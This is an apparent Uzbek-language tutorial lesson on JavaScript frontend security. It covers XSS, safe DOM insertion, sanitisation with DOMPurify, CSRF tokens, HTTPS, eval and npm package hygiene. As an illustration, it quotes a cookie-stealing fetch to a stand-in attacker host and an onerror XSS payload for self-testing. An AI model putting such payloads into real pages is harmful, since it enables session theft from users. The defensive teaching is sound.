JavaScript xavfsizlik asoslari

Brauzerda ishlaydigan kodni foydalanuvchi ko’ra oladi va o’zgartira oladi. Bu frontend xavfsizligining asosiy haqiqati — va undan kelib chiqadigan qoidalar shu darsda.

XSS — eng keng tarqalgan xavf

Sabab deyarli har doim bitta: tashqaridan kelgan matnni HTML sifatida qo’yish.

JavaScript
Sahifa

Birinchi holatda onerror ishga tushdi. Haqiqiy hujumda u yerda fetch("https://hujumchi.uz?cookie=" + document.cookie) bo’lardi.

Asosiy qoida

JavaScript
Sahifa

Qoida sodda: foydalanuvchi ma’lumoti hech qachon innerHTML ga bermaydi. textContent va createElement bilan qurish — DOM yaratish darsidagi usul.

Qachon HTML kerak bo’lsa

Ba’zan foydalanuvchi formatlangan matn yozadi (masalan Markdown izoh). U holda sanitizatsiya kerak:

// DOMPurify kutubxonasi — sinovdan o'tgan yechim
import DOMPurify from "dompurify";

element.innerHTML = DOMPurify.sanitize(foydalanuvchiHTML);

Havolalar ham xavfli

JavaScript
Sahifa

target="_blank" bilan ochiladigan tashqi havolalarga rel="noopener noreferrer" qo’shiladi — aks holda yangi sahifa window.opener orqali sizning sahifangizga ta’sir qila oladi.

Maxfiy ma’lumot frontendda saqlanmaydi

Xuddi shunday, localStorage ga token yoki parol yozilmaydi — XSS bo’lsa, hujumchi kodi uni o’qiy oladi.

Tekshiruv serverda takrorlanadi

JavaScript

Frontend validatsiyasi — qulaylik uchun (xatoni tez ko’rsatish), himoya uchun emas. Har bir tekshiruv serverda qaytariladi.

CSRF

Himoya server tomonida: CSRF token va SameSite cookie sozlamasi. Frontend tomonida — so’rovga tokenni qo’shish:

await fetch("/api/otkazma", {
  method: "POST",
  headers: {
    "Content-Type": "application/json",
    "X-CSRF-Token": token,
  },
  body: JSON.stringify({ summa: 100000 }),
});

HTTPS majburiy

HTTP orqali yuborilgan ma’lumotni yo’lda o’qish va o’zgartirish mumkin. Bugun HTTPS bepul va standart; bundan tashqari ko’p zamonaviy brauzer imkoniyatlari (joylashuv, kamera, Service Worker) faqat HTTPS’da ishlaydi.

eval va o’xshashlari

JavaScript

eval, new Function va setTimeout("kod matni") — foydalanuvchi ma’lumoti bilan hech qachon ishlatilmaydi.

Tashqi paketlar

npm install bilan o’rnatilgan paket sizning loyihangizda to’liq huquq bilan ishlaydi. Amaliy ehtiyot choralari:

  • paket kerakligini o’ylab ko’ring (kichik vazifa uchun o’z kodingiz);
  • yuklab olishlar soni va oxirgi yangilanish sanasiga qarang;
  • npm audit bilan ma’lum zaifliklarni tekshiring;
  • package-lock.json ni git’ga qo’shing — versiya kutilmaganda o’zgarmasligi uchun.

Tekshiruv ro’yxati

  • Foydalanuvchi matni textContent bilan qo’yiladimi?
  • innerHTML faqat o’z HTML’ingiz uchunmi?
  • Havolalar protokoli tekshiriladimi?
  • Kod ichida API kaliti yoki parol yo’qmi?
  • Har validatsiya serverda takrorlanadimi?
  • Sayt HTTPS’dami?
  • eval ishlatilmayaptimi?
  • npm audit toza chiqadimi?

Amaliy mashq

  1. innerHTML va textContent ga bir xil HTML matn berib, farqni ko’ring;
  2. <img src=x onerror=...> bilan XSS’ni sinab ko’ring (o’z sahifangizda);
  3. havola protokolini tekshiruvchi funksiya yozing;
  4. formani frontendda tekshirib, DevTools orqali chetlab o’ting;
  5. npm audit ni loyihangizda ishga tushiring;
  6. localStorage da nima saqlash mumkinligini ro’yxatlang.

Qisqacha xulosa

  • XSS — asosiy frontend xavfi; sababi innerHTML ga tashqi matn.
  • Foydalanuvchi matni uchun doim textContent.
  • HTML kerak bo’lsa — DOMPurify kabi kutubxona bilan tozalang.
  • Havola protokolini tekshiring; target="_blank" ga rel="noopener".
  • Maxfiy kalitlar frontendda saqlanmaydi — faqat serverda.
  • Frontend validatsiyasi qulaylik uchun; server himoya qiladi.
  • eval va tekshirilmagan paketlardan saqlaning.

Keyingi darsda yakuniy loyiha — o’rganilganlarni birga qo’llash.

Bu dars foydali bo'ldimi?

marta ko'rildi